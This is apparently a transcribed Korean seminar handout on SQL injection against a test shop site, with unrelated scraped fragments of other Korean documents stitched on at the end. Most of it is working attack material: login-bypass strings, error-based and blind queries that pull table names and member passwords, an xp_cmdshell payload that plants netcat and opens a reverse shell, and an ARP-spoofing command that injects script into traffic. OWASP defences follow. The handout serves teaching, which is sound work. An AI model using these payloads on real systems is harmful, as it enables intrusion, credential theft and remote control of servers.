Microsoft Word - SQLinjection.doc
|
|
- 광록 윤
- 6 years ago
- Views:
Transcription
1 SQL Injection Basic 윤현호 (Hyunho.Yun) Published:September Abstract 본문서는 2007년 9월 7일 SecurityPlus(café.naver.com/securityplus) OWASP Top Seminar 관련자료입니다. 영리를목적으로사용및배포를금지합니다. 문서의내용은임의의가상테스트서버를대상으로한기본적인 OWASP TOP 10 범위안에서의기본적인내용들로구성되어있습니다. 더욱자세한내용은 를참고해주시기바랍니다. 본문서는 OWASP의이해를돕기위한문서이며, 비인가된접근은불법입니다.
2 1 Introduction - SQL이란? SQL(Structured Query Language) 이란, 데이터정의어 (DDL) 과데이터조작어 (DML) 를포함한 DB용질의어로써일반적인쉬운예로웹 Application이 DataBase에게시물을저장하고불러오는과정에서사용하게됩니다... - SQL Injection 공격이란? SQL 구문삽입 (Injection) 은웹 App이 DB에질의를하는과정사이에일반적인값 (Value) 외에 DateBase에서실행이가능한구문을인자값뒤에함께삽입하여공격자가원하는 SQL 쿼리문을실행하는공격을이야기합니다. 본문서에서는일반적인에러값반환을통해 DataBase의내부정보를절취하는방법과에러값반환이안되는경우 Blind SQL Injection을통해내부정보를절취하는방법에대해서설명하도록하겠습니다. 2 상세내용 인젝션은사용자가입력한데이터가명령어나질의어의일부로써인터프리터에보내질때인젝션이이뤄집니다. 공격자들은특별히제작된데이터를입력하여인터프리터를속여의도되지않은명령어들을실행하도록하여어떤임의의데이터를생성하고, 읽고, 갱신하고, 삭제하는것을허용하도록합니다. 최악의경우는이러한취약점들이공격자로하여금어플리케이션을완전히손상시키고시스템을다운시키고, 심지어철저하게숨겨진방화벽환경을우회하는것을허용할수있는취약점입니다.
3 우선 SQL 인젝션을이야기하려면 SQL 쿼리문에대한대략의이해가필요합니다. 이부분은별도의자료를통해습득하셨을것으로보고취약점공격부터하나씩살펴보도록하겠습니다. 가 ) 인젝션을통한인증모듈우회공격인증을처리하는모듈이입력값에대해적절히검사하지않았을때공격자는비정상적인 SQL Query를삽입할수있고이를이용해사용중인데이터베이스에영향을주어인증모듈을우회할수있습니다. 위의그림과같이일반적인 ID/Password 로그인창이있을경우 ID와 Password 부분에값을입력하여로그인절차를거치게됩니다. 해당페이지에서오른쪽버튼을클릭하여소스보기를하여해당페이지의소스내용을살펴보면 HTML로 <input type="text" name="admin_id" size="17" maxlength="30"> <input type="password" name="admin_pass" size="17" maxlength="30"> 태그가있는것을확인할수있습니다. 우리는 admin_id와 admin_pass 로입력되는파라메터값이 DB에다음과같은쿼리로전달될것을예상할수있습니다.
4 SELECT admin_id, admin_pass from admintable where admin_id= $admin_id AND admin_pass= $admin_pass ; 내용을해석해보면 admintable에서 admin_id와 admin_pass의값을반환하는데 admin_id의값이붉은색 $admin_id와같고 admin_pass 값이붉은색 $admin_pass와같을때의값을가져옵니다. 만일에러가발생시로그인실패메시지를뿌리고제대로값이반환이되면로그인이완료될것입니다. 상단의쿼리문을통해보면입력되는값을 (single qute) 으로감싸져있는것을확인할수있습니다. 그렇다면입력값에 를입력했을경우는어떤결과가발생할까요? DBMS에서는 의시작을받고 ( 입력된 single qute) 로입력값이끝난것으로생각합니다. 그렇지만원래코드에있던 (single qute) 를만나서에러가발생하고다시로그인실패로인식하여로그인창을재로딩합니다. 일반적인경우라면 admin_id와 admin_pass에 string 형태의값이들어오겠지만해당입력값으로 or a = a -- 와같은형태의값을입력하게되면입력값검증모듈이없기때문에해당쿼리는다음과같이입력됩니다. SELECT admin_id, admin_pass from admintable where admin_id= or a = a -- AND admin_pass= $admin_pass ; 붉은색으로표시된부분이우리가입력한쿼리구문입니다. admintable에서 admin_id, admin_pass를가져오는데그값이 admin_id가 (null) 이거나 a=a 일때의값을반환하고뒤의파란색은모두 -- 로인해주석처리가됩니다. 그러면 DBMS는어떻게반응을할까요? admintable에서 admin_id가 이거나 a=a 가참일때의값을찾게됩니다. 그렇기때문에언제나 a=a는참이므로 admin_id에서가장처음부터가장마지막까지모든값이다반환이되어버립니다. 그러면웹 Application에서는당연히 1개의값만이반환되었을것을가정으로코딩
5 이되어있기때문에가장상위에반환된값으로로그인이되는겁니다. 이렇게간단하게로그인인증모듈을우회하는방법을알아보았습니다. 쿼리구문에따라서 가들어갈수도있고 가들어가거나 ) 가들어갈수도있습니다. 그렇지만기본적인구조는상단과같기때문에쉽게응용이되실것으로믿습니다. 나 ) 일반적인에러값반환을통한 SQL Injection 공격이번에는에러값반환을통한 SQL Injection 공격을살펴보겠습니다. 현재구현된 the Flower shop의경우는좀더 SQL Injection 공격을편하게그리고정확하게하기위해서실행되는쿼리문을상단에출력하도록제작하였습니다. (1) 입력 검색창에 A라고글을쳤을경우 (1) 과같이쿼리문이완성되는것을확인할수있습니다. 그러면이번에는 를하나만쳐보겠습니다.
6 첫번째줄의 SELECT * FROM board_free where info_title like '%'%' ORDER BY INFO_REF DESC, INFO_STEP 는게시판의구조상실행하는 SQL 쿼리문을출력해준부분입니다. 그리고하단에있는에러페이지를보면 ' ORDER BY INFO_REF DESC, INFO_STEP' 문자열앞에닫히지않은인용부호가있습니다. 라는메시지가출력되는것을알수있습니다. 입력한구문에서에러가발생시뒷쪽의있는쿼리구문을출력해주는것을알수있습니다. 그러면이번에는 a%'and 이라고검색창에쳐넣어보도록하겠습니다. 전체완성적인쿼리는다음과같습니다. SELECT * FROM board_free where info_title like '%a%'and ORDER BY INFO_REF DESC, INFO_STEP 파란색은원래있던쿼리문이고붉은색이우리가삽입한쿼리문입니다. 내용을해석해보면 board_free 에서 info_title이 a와비슷하고현재 DB의버젼정보값이 '1' 과같은걸출력하라. --는 MS SQL의주석처리코드이기때문에뒤에 "%' ORDER BY INFO_REF DESC, INFO_STEP" 은모두주석으로처리해서 DB에서작용을하지못합니다. 그렇다면 SELECT * FROM board_free where info_title like '%a%'and DBMS의버젼정보는 string값이고 1은 int 값이기때문에에러가발생하죠. the Flower 숍의경우위에서살펴본것과같이에러발생지점의뒤쪽에있는쿼리문을상세하게출력하기때문에그 DBMS의버전정보를상세하게에러메세지에출력합니다.
7 이번에는 DB명을같은원리로가져오겠습니다. a%'and 0<>db_name()-- 이라고검색창에입력해보겠습니다. 이렇게 DB 이름이나오고 a%'and user>0-- 을입력하면다음과같이 Dbo 계정으로 DB 가실행되고있음을알수있습니다. 이번에는 a%'and 0<>(select top 1 name from camel.dbo.sysobjects where xtype=char(85))--를입력하겠습니다. 내용을살펴보면 camel DB의 dbo의 sysobjects 테이블에서 user(char(85) 의값은대문자 U로 user를의미 ) 가생성한테이블중첫번째것을 0과비교합니다.
8 Besong 이라는테이블을찾아낸후에같은방법으로다음쿼리들을삽입합니다. a%'and 0<>(select top 1 name from (select top 19 name from camel.dbo.sysobjects where xtype='u' order by name asc) as table1 order by name desc)-- 상기와같이파란색부분의숫자만바꿔가면서계속삽입을하여특정DB에서특정인이만든 19번째테이블명을얻어냅니다. 이렇게얻어낸테이블명중상기와같이원하는정보가있는테이블발견하면그안에서컬럼정보를얻어오도록합니다. a%'and 0<>(select top 1 char(94)+cast(id as varchar(8000))+char(94) from (select top 19 id from camel.dbo.sysobjects where name='member' order by id asc) as table1 order by id desc)-- 상기와같은쿼리를입력합니다. Char(94) 를양쪽에넣은이유는출력을원하는값이 int형이기때문에강제변환연산 (CAST) 를통해서 varchar로바꾸고양쪽에
9 ^을넣어주어서 int형과비교시강제에러를발생하기위해서넣은식입니다. 파란색부분에상단에서찾아낸원하는테이블명을넣으면그해당 ID 값을다음과같이출력합니다. a%'and 0<>(select top 1 name from (select top 5 name from camel.dbo.syscolumns where id= order by name asc) as table1 order by name desc)-- 상단에서나온 ID값으로다시삽입을해보면다음과같이원하는컬럼 (5번째컬럼 ) 을출력합니다. 같은방법으로 7 번째컬럼을조회하면아래와같이나타납니다.
10 에러값을통해서현재 member 테이블의 mem_id와 mem_pwd가있는것을확인했습니다. 그러면이번에는그데이터값을출력하도록하겠습니다. a%'and 0<>(select top 1 char(94)+cast(mem_id as varchar(8000))+char(94) from camel.dbo.member)-- 이번에도 member 에서 mem_id 를가져오도록합니다. 이번에는 Free 라는 ID 가존재하는것을알게되었습니다. a%'and 0<>(select top 1 char(94)+cast(mem_pwd as varchar(8000))+char(94) from camel.dbo.member)-- 획득한정보를바탕으로실제로로그인을해보도록하겠습니다.
11 Free / freedom 으로로그인을해보았습니다. 쉽게로그인이되는걸확인할수있습니다. 다 ) 저장프로시저를이용한공격저장프로시저를이용한명령어실행의경우중국에서 2005년부터현재까지엄청나게공격에사용한자동화도구에서시스템에명령을내릴때사용되는방법입니다. 이역시어떠한결과값을리턴하는게아닌공격자의추측에의한방법으로한단계씩공격을진행하는방법입니다. 다양한형태의공격유형이있지만여기서는 Reverse Telnet을통한연결만을해보도록하겠습니다. 명령프롬프트를통한접근이가능하므로이후에공격은다양하게실행할수있습니다. 첨부파일로 nc.exe(netcat) 을업로드합니다.
12 많은저장프로시저중에서가장쉽게접할수있는 xp_cmdshell 을사용해서 Shell에명령을내려보겠습니다. 이경우는 DBMS에서프로시저를사용해서명령을내리기때문에 DBMS의권한으로 process가구동됨을알수있습니다. 우선아래와같이인젝션구문을삽입할경우 a%';exec master..xp_cmdshell 'copy c:\www\came\board\upload\nc.exe %systemroot%nc.exe -- 전체쿼리문은아래와같게됩니다. SELECT * FROM board_free where info_title like '% a%';exec master..xp_cmdshell 'copy c:\www\came\board\upload\nc.exe %systemroot%nc.exe -- %' ORDER BY INFO_REF DESC, INFO_STEP 해석을해보면이건두개의쿼리가순차적으로실행된다는걸알수있습니다. SELECT * FROM board_free where info_title like '% a%'; 가먼저실행되어서 a가들어간제목을가진게시물을출력하게됩니다. 그리고다음으로는 ;EXEC master..xp_cmdshell 'copy c:\www\came\board\upload\nc.exe %systemroot%nc.exe -- 가실행되게됩니다. Xp_cmdshell 프로시저를실행하여 copy 명령으로 nc.exe 를 system 폴더로복사하
13 도록합니다. 그리고 cmd 창에서 ipconfig를통해서본인의 IP를확인한후 nc.exe(netcat) 으로 listen 하도록실행합니다. 이렇게준비가모두끝났으면다시 xp_cmdshell로 nc로 (listen mode에들어간 nc가실행된 host의 ip) 로연결하도록인젝션구문을삽입합니다. a%';exec master..xp_cmdshell 'nc e cmd'-- 이렇게삽입을하면아래와같이서버의 cmd로 netcat을통해서연결이된것을알수있습니다.
14 서버에서 nc가실행된프로세스를확인해보면아래와같이 sqlservr.exe 프로세스밑에서 cmd.exe(pid:3024) 가실행된것을볼수있습니다. 이건 xp_cmdshell이실행되는것을의미하며그하위에있는 nc.exe를실행하고있는것을알수있습니다. 그리고 nc.exe 하위에 cmd.exe는 netcat을통해원격지 ( 공격자 ) 에서연결이실행된 cmd.exe를나타내고있는것입니다. xp_cmdshell 이렇게원격지에서 reverse telnet으로연결된경우는위에서보듯이 sqlservr.exe에서실행이되기때문에관리자의권한으로 cmd.exe가실행되어관리자명령들을그대로수행할수있습니다.
15 이렇게해서저장프로시저를이용한공격에대해서간략하게실습을해보았습니다. 라 ) Blind SQL Injection 공격 Blind SQL은말그대로장막에가려진것과같이리턴값이상세하게나타나지않는사이트를공격할때사용합니다. 이경우에러페이지가설정이되어있어서특별한정보를얻을수없는경우에 true와 false 값의차이만으로값을한자리씩찾아가는방법입니다. 그러면원래쿼리를살펴보도록하겠습니다. SELECT * FROM board_free where info_title like '%a%' ORDER BY INFO_REF DESC, INFO_STEP 위에서보듯이 a가공격자가입력한구문입니다. A가들어간제목을출력해주는쿼리문입니다. 그쿼리문을다음과같은구문으로삽입하여변경하도록하겠습니다. %a and 1=1 -- 위와같이입력을했을경우쿼리문은다음과같은형태로변하게됩니다.
16 SELECT * FROM board_free where info_title like '%a%'and 1=1--%' ORDER BY INFO_REF DESC, INFO_STEP 위의경우 -- 뒤의구문은역시주석처리가되어무시하고 -- 앞의구문을살펴보도록하겠습니다. Board_free의모든컬럼값을반환하는데 info_title에서 a가들어가있고 (!) 1=1이면출력하도록합니다. 당연히 1=1 인값은 true 입니다. 그렇기때문에 dbms는 info_title에 a가들어간게시물을출력합니다. 이번에는약간다르게해보겠습니다. %a and 1=2 -- 를삽입해보면, 쿼리는다음과같이변하게됩니다. SELECT * FROM board_free where info_title like '%a%'and 1=2-- 이내용은 a가들어가있으며 (!!) 1=2인값을출력하도록합니다. 그렇지만 1=2가아니죠. False 입니다. 이경우는아무것도가져올수없겠죠.
17 그래서게시물을아무것도출력할수없어서등록된데이터가없는것으로출력되었습니다. 그렇다면이게왜중요한것일까요? And 구문뒤에있는값의 true/false 값을알아낼수있기때문에정말중요한것입니다. 이제우리는 and 구문뒤에있는내용의 true/false 을물어보는구문을만들어보겠습니다. a%' AND ascii(substring((select top 1 name from (select top 1 name,dbid from master..sysdatabases order by name asc,dbid desc ) as T order by name desc,dbid asc),1,1))=99-- 쿼리를잘살펴보도록하겠습니다. 서브쿼리부터살펴보도록하겠습니다. select top 1 name,dbid from master..sysdatabases order by name asc,dbid desc master의 sysdatabases 에서 name(db명 ) 과 dbid(id) 중에첫번째값을하나씩가져옵니다. (select top 1 name from (select top 1 name,dbid from master..sysdatabases order by name asc,dbid desc ) as T order by name desc,dbid asc) 그리고파란색에서가져온 name,dbid 에서 name 값의첫번째값을하나가져옵니다. (substring((select top 1 name from (select top 1 name,dbid from master..sysdatabases order by name asc,dbid desc ) as T order by name desc,dbid asc),1,1 색이많아서다소혼란스럽지만다시파란색에서가져온값에서조회해온 name 값한개의첫번째, 한글자를잘라냅니다. AND ascii(substring((select top 1 name from (select top 1 name,dbid from master..sysdatabases order by name asc,dbid desc ) as T order by name desc,dbid asc),1,1))=99 그리고마지막으로잘라낸한글자를 ascii 값으로변환하여그값을 ascii값 99인
18 지비교를합니다. Ascii(99) 는영문자소문자 c 입니다. 우리가실험을하고있는 database의 db명은 camel로그첫글자는영문자 c 입니다. 그렇기때문에 and 구문뒤의값은 true로 A가들어간게시물들이출력됨을알수있습니다. a%' AND ascii(substring((select top 1 name from (select top 1 name,dbid from master..sysdatabases order by name asc,dbid desc ) as T order by name desc,dbid asc),1,1))=100-- 그러면이제 100과비교를해보겠습니다. 내용은다같으며영문자 d와비교하는것입니다.
19 위와같이등록된데이터가없습니다. 라고 false 값임을알수있는메시지가출력이되었습니다. 그러면상기와같은방법으로 blind sql injection으로 database 명과 table명, column명, data를모두하나씩알아올수있음을알게되었습니다. 그렇지만상기와같은작업을수작업으로하는것은너무느리고어렵기때문에실무에서는자동화도구를직접만들어서진단을시행합니다. 소스코드의로직은우리가상단에서수행했던수동진단방법과동일하게짜여져있습니다. 아래와같이실행결과쉽게 db 명과같은정보를가져올수있었습니다.
20 Trying 항목은현재한글자씩 db명을맞춰가는부분으로현재시도하고있는글자를알려줍니다. 이렇게여러가지방법으로인젝션취약점의가장대표적인공격이였던 SQL 인젝션공격에대해서알아보았습니다. 세미나시연에서는이후 SQL 인젝션외에다른형태의인젝션공격인 ARP spoofing 을통한악성코드공격에대해서살펴보았습니다. 그렇지만본실습세미나에서는악성코드실행용해킹툴을공개하지않도록요청이들어왔기때문에이부분은간략한설명으로대신하도록하겠습니다.
21 위의그림은악의적인공격자가 SQL 인젝션등의공격을통해 DMZ의서버를점령한후같은 DMZ에존재하는서버에일반사용자의요청에악성코드를삽입하는방법에대해서설명하고있습니다. (1) 공격자는취약점을통해취약서버를점령합니다. (2),(3) 점령한서버에서 ARP Spoofing 등의공격으로 GateWay로가는패킷의흐름을점령된서버를거쳐서 GateWay로가도록패킷의흐름을변경합니다. (4) 일반사용자는깨끗한서버에일반적인 HTTP 통신을시도합니다. 그럴경우패킷의흐름은일반사용자가해당서버가존재하는게이트웨이로패킷을보낸후점령된서버를거쳐깨끗한서버로가게됩니다. 그리고깨끗한서버는응답을보내고그사이에점령된서버에서는깨끗한서버통신에악성코드를추가로삽입하여일반사용자에게응답합니다. (5) 마지막으로일반사용자의 PC에악성코드에전염되게됩니다. 시연에사용한도구는점령된서버의 DMZ에서 ARP Spoofing을일으키는중국해킹도구를약간변경한도구를사용했습니다.
22 sarps.exe -idx 0 -ip port 80 -insert "<script>alert(document.cookie);</script>" 위와같이명령을내릴경우에 port 80으로들어오는요청에대해서경고창으로해당쿠키정보를출력하는구문을삽입하도록하였습니다. 상기화면과같이네이버에직접적인공격을하지않고쉽게태그를삽입이가능함을알수있습니다. 3 대처방안 (OWASP Top 수록내용 ) 입력검증. 나타나거나저장된데이터를받아들이기전에길이, 유형, 구성, 비즈니스규칙에대한모든입력값을검증하기위하여표준입력검증메커니즘을사용하라. 알고있는올바름을수락 하는검증전략을사용해라. 잠재적으로악의적인데이터를삭제하려고시도하는것보다는검증되지않은입력을거부하라. 에러메시지에무효한데이터를포함해야한다는것을잊지말라. 심지어저장프로시져를호출할때도플레이스홀더대체표지와함께명확하게분류된매개변수화된질의 APl를사용하라. 데이터베이스들과다른백엔드시스템들에접속시최소한권한을강제화하라. 공격자에게유용한상세에러메세지들을피하라. 대개 SQL인젝션으로부터안전한저장프로시져를사용하라. 하지만인젝션이가능할
23 수있음을조심하라 ( 저장프로시져내에 exec() 또는연결된독립변수에의해가능할수있다.). mysql_query() 나이와유사한동적질의인터페이스들을사용하지마라. PHP의 addslashes() 나 str_replace(" ", " ") 와같은문자치환함수들과같은간단한에스케이프함수들을사용하지마라. 이러한함수들은취약해서공격자들에의해잘이용된다. MySQL 사용할때는 PHP용으로는 mysql_real_escape_string() 를사용하고아니면에스케이프를필요로하지않는 PDO를사용해라. 일반적인오류를조심해라. 입력값들은검증되기에앞서어플리케이션의현재내부표현을반드시해독하고일반화되어야한다. 여러분의어플리케이션이같은입력값을두번해독하지않도록보증해라. 이러한오류들은확인된이후에위험한입력값을제출함으로써 화이트리스트 의방어대책을우회하기위하여사용될수도있다. 언어별구체적인추천 : Java EE 확실하게분류되어준비된명령문혹은 Hibernate나 Spring과같은객체관계맵핑 (ORM) 을사용하라..NET SqlParameter를이용한 SqlCommand혹은 Hibernate와같은객체관계맵핑 (ORM) 처럼확실하게분류된매개변수화된질의어들을사용하라. PHP 확실하게분류된매개변수화된질의어 (bindparam() 사용 ) 를가진 PDO를사용하라. 예제 문의및 Q&A r3dcat@gmail.com
문서 템플릿
HDSI 툴분석 [sql injection 기술명세서 ] Sql injection 기술명세서 Ver. 0.01 이문서는 sql injection 기술명세가범위입니다. Copyrights Copyright 2009 by CanvasTeam@SpeeDroot( 장경칩 ) All Rights Reserved. 장경칩의사전승인없이본내용의전부또는일부에대한복사, 전재,
More informationPowerPoint Template
설치및실행방법 Jaewoo Shim Jun. 4. 2018 Contents SQL 인젝션이란 WebGoat 설치방법 실습 과제 2 SQL 인젝션이란 데이터베이스와연동된웹서버에입력값을전달시악의적동작을수행하는쿼리문을삽입하여공격을수행 SELECT * FROM users WHERE id= $_POST[ id ] AND pw= $_POST[ pw ] Internet
More informationWindows 8에서 BioStar 1 설치하기
/ 콘텐츠 테이블... PC에 BioStar 1 설치 방법... Microsoft SQL Server 2012 Express 설치하기... Running SQL 2012 Express Studio... DBSetup.exe 설정하기... BioStar 서버와 클라이언트 시작하기... 1 1 2 2 6 7 1/11 BioStar 1, Windows 8 BioStar
More informationMySQL-.. 1
MySQL- 기초 1 Jinseog Kim Dongguk University jinseog.kim@gmail.com 2017-08-25 Jinseog Kim Dongguk University jinseog.kim@gmail.com MySQL-기초 1 2017-08-25 1 / 18 SQL의 기초 SQL은 아래의 용도로 구성됨 데이터정의 언어(Data definition
More informationInsertColumnNonNullableError(#colName) 에해당하는메시지출력 존재하지않는컬럼에값을삽입하려고할경우, InsertColumnExistenceError(#colName) 에해당하는메시지출력 실행결과가 primary key 제약에위배된다면, Ins
Project 1-3: Implementing DML Due: 2015/11/11 (Wed), 11:59 PM 이번프로젝트의목표는프로젝트 1-1 및프로젝트 1-2에서구현한프로그램에기능을추가하여간단한 DML을처리할수있도록하는것이다. 구현한프로그램은 3개의 DML 구문 (insert, delete, select) 을처리할수있어야한다. 테이블데이터는파일에저장되어프로그램이종료되어도사라지지않아야한다.
More information다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");
다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp"); dispatcher.forward(request, response); - 위의예에서와같이 RequestDispatcher
More information제목 레이아웃
웹해킹이라고무시하는것들보소 2017.07.10 RUBIYA805[AT]GMAIL[DOT]COM SQL Injection 끝나지않은위협 2017.07.10 RUBIYA805[AT]GMAIL[DOT]COM Who am I 정도원 aka rubiya Penetration tester Web application bughuter Pwned 20+ wargame @kr_rubiya
More informationObservational Determinism for Concurrent Program Security
웹응용프로그램보안취약성 분석기구현 소프트웨어무결점센터 Workshop 2010. 8. 25 한국항공대학교, 안준선 1 소개 관련연구 Outline Input Validation Vulnerability 연구내용 Abstract Domain for Input Validation Implementation of Vulnerability Analyzer 기존연구
More informationSKINFOSEC-CHR-028-ASP Mssql Cookie Sql Injection Tool 분석 보고서.doc
Asp Mssql Sql Injection Tool 분석보고서 이재곤 (x0saver@gmail.com) SK Infosec Co., Inc MSS 사업본부 / 침해대응센터모의해킹파트 Table of Contents 1. 개요... 3 2. 구성... 3 3. 분석... 4 3.1. 기능분석... 4 4. 공격원리...14 4.1 기본공격원리...14 4.2
More informationThe Basic Of Blind SQL Injection Sur3x5F - PRIDE NateOn : PRIDE in Sur3x5F All rights are reserved
The Basic Of Blind SQL Injection Sur3x5F - PRIDE NateOn : austinkwon@nate.com 목 차 0x00. Intro 0x01. You should know... 0x02. What is Blind SQL Injection 0x03. Get db information from information_schema
More informationDBMS & SQL Server Installation Database Laboratory
DBMS & 조교 _ 최윤영 } 데이터베이스연구실 (1314 호 ) } 문의사항은 cyy@hallym.ac.kr } 과제제출은 dbcyy1@gmail.com } 수업공지사항및자료는모두홈페이지에서확인 } dblab.hallym.ac.kr } 홈페이지 ID: 학번 } 홈페이지 PW:s123 2 차례 } } 설치전점검사항 } 설치단계별설명 3 Hallym Univ.
More informationMicrosoft PowerPoint - chap02-C프로그램시작하기.pptx
#include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의
More informationPowerPoint Template
JavaScript 회원정보 입력양식만들기 HTML & JavaScript Contents 1. Form 객체 2. 일반적인입력양식 3. 선택입력양식 4. 회원정보입력양식만들기 2 Form 객체 Form 객체 입력양식의틀이되는 태그에접근할수있도록지원 Document 객체의하위에위치 속성들은모두 태그의속성들의정보에관련된것
More information슬라이드 1
Tadpole for DB 1. 도구개요 2. 설치및실행 4. 활용예제 1. 도구개요 도구명 소개 Tadpole for DB Tools (sites.google.com/site/tadpolefordb/) 웹기반의데이터베이스를관리하는도구 Database 스키마및데이터관리 라이선스 LGPL (Lesser General Public License) 특징 주요기능
More informationPoison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3
Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow
More information게시판 스팸 실시간 차단 시스템
오픈 API 2014. 11-1 - 목 차 1. 스팸지수측정요청프로토콜 3 1.1 스팸지수측정요청프로토콜개요 3 1.2 스팸지수측정요청방법 3 2. 게시판스팸차단도구오픈 API 활용 5 2.1 PHP 5 2.1.1 차단도구오픈 API 적용방법 5 2.1.2 차단도구오픈 API 스팸지수측정요청 5 2.1.3 차단도구오픈 API 스팸지수측정결과값 5 2.2 JSP
More information윈도우시스템프로그래밍
데이터베이스및설계 MySQL 을위한 MFC 를사용한 ODBC 프로그래밍 2012.05.10. 오병우 컴퓨터공학과금오공과대학교 http://www.apmsetup.com 또는 http://www.mysql.com APM Setup 설치발표자료참조 Department of Computer Engineering 2 DB 에속한테이블보기 show tables; 에러발생
More informationWINDOW FUNCTION 의이해와활용방법 엑셈컨설팅본부 / DB 컨설팅팀정동기 개요 Window Function 이란행과행간의관계를쉽게정의할수있도록만든함수이다. 윈도우함수를활용하면복잡한 SQL 들을하나의 SQL 문장으로변경할수있으며반복적으로 ACCESS 하는비효율역
WINDOW FUNCTION 의이해와활용방법 엑셈컨설팅본부 / DB 컨설팅팀정동기 개요 Window Function 이란행과행간의관계를쉽게정의할수있도록만든함수이다. 윈도우함수를활용하면복잡한 SQL 들을하나의 SQL 문장으로변경할수있으며반복적으로 ACCESS 하는비효율역시쉽게해결할수있다. 이번화이트페이퍼에서는 Window Function 중순위 RANK, ROW_NUMBER,
More informationSBR-100S User Manual
( 1 / 13 ) SBR-100S 모델에 대한 사용자 펌웨어 업그레이드 방법을 안내해 드립니다. SBR-100S 는 신규 펌웨어가 있을시 FOTA(자동업데이트) 기능을 통하여 자동 업그레이드가 되며, 필요시 사용자가 신규 펌웨어를 다운받아 수동으로 업그레이드 할 수 있습니다. 1. 준비하기 1.1 연결 장치 준비 펌웨어 업그레이드를 위해서는 SBR-100S
More informationPowerPoint 프레젠테이션
실습 1 배효철 th1g@nate.com 1 목차 조건문 반복문 System.out 구구단 모양만들기 Up & Down 2 조건문 조건문의종류 If, switch If 문 조건식결과따라중괄호 { 블록을실행할지여부결정할때사용 조건식 true 또는 false값을산출할수있는연산식 boolean 변수 조건식이 true이면블록실행하고 false 이면블록실행하지않음 3
More information강의 개요
DDL TABLE 을만들자 웹데이터베이스 TABLE 자료가저장되는공간 문자자료의경우 DB 생성시지정한 Character Set 대로저장 Table 생성시 Table 의구조를결정짓는열속성지정 열 (Clumn, Attribute) 은이름과자료형을갖는다. 자료형 : http://dev.mysql.cm/dc/refman/5.1/en/data-types.html TABLE
More informationMicrosoft Word - Blind Sql Injection.doc
Blind Sql Injection MySQL 5.0 본문서는배포는누구나마음대로수정및배포하실수있습니다. 테스트환경 : MySQL 5.3, PHP 5.2 - 방립동 - 개요. MySQL 이 3.0 버전에서 4.0 버전으로업그레이되되면서 UNION 절을사용할수있게되었습니다. 따라서 UNION을이용한공격방법이소개되었죠. 또한블라인드인젝션기법을이용한공격방법이문서나,
More informationMicrosoft Word - ntasFrameBuilderInstallGuide2.5.doc
NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,
More information목차 BUG 문법에맞지않는질의문수행시, 에러메시지에질의문의일부만보여주는문제를수정합니다... 3 BUG ROUND, TRUNC 함수에서 DATE 포맷 IW 를추가지원합니다... 5 BUG ROLLUP/CUBE 절을포함하는질의는 SUBQUE
ALTIBASE HDB 6.3.1.10.1 Patch Notes 목차 BUG-45710 문법에맞지않는질의문수행시, 에러메시지에질의문의일부만보여주는문제를수정합니다... 3 BUG-45730 ROUND, TRUNC 함수에서 DATE 포맷 IW 를추가지원합니다... 5 BUG-45760 ROLLUP/CUBE 절을포함하는질의는 SUBQUERY REMOVAL 변환을수행하지않도록수정합니다....
More informationSQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자
SQL Developer Connect to TimesTen 유니원아이앤씨 DB 팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 2010-07-28 작성자 김학준 최종수정일 2010-07-28 문서번호 20100728_01_khj 재개정이력 일자내용수정인버전
More information8 장데이터베이스 8.1 기본개념 - 데이터베이스 : 데이터를조직적으로구조화한집합 (cf. 엑셀파일 ) - 테이블 : 데이터의기록형식 (cf. 엑셀시트의첫줄 ) - 필드 : 같은종류의데이터 (cf. 엑셀시트의각칸 ) - 레코드 : 데이터내용 (cf. 엑셀시트의한줄 )
8 장데이터베이스 8.1 기본개념 - 데이터베이스 : 데이터를조직적으로구조화한집합 (cf. 엑셀파일 ) - 테이블 : 데이터의기록형식 (cf. 엑셀시트의첫줄 ) - 필드 : 같은종류의데이터 (cf. 엑셀시트의각칸 ) - 레코드 : 데이터내용 (cf. 엑셀시트의한줄 ) - DDL(Data Definition Language) : show, create, drop
More information1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml 파일을텍스트에디터를이용하여 Open 합니다. config.xml 파일에서, 아
LG U+ SMS/MMS 통합클라이언트 LG U+ SMS/MMS Client Simple Install Manual LG U+ SMS/MMS 통합클라이언트 - 1 - 간단설치매뉴얼 1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml
More information구축환경 OS : Windows 7 그외 OS 의경우교재 p26-40 참조 Windows 의다른버전은조금다르게나타날수있음 Browser : Google Chrome 다른브라우저를사용해도별차이없으나추후수업의모든과정은크롬사용 한
수업환경구축 웹데이터베이스구축및실습 구축환경 OS : Windows 7 그외 OS 의경우교재 p26-40 참조 Windows 의다른버전은조금다르게나타날수있음 Browser : Google Chrome 다른브라우저를사용해도별차이없으나추후수업의모든과정은크롬사용 http://chrome.google.com 한림대학교웹데이터베이스 - 이윤환 APM 설치 : AUTOSET6
More informationMicrosoft PowerPoint - 10Àå.ppt
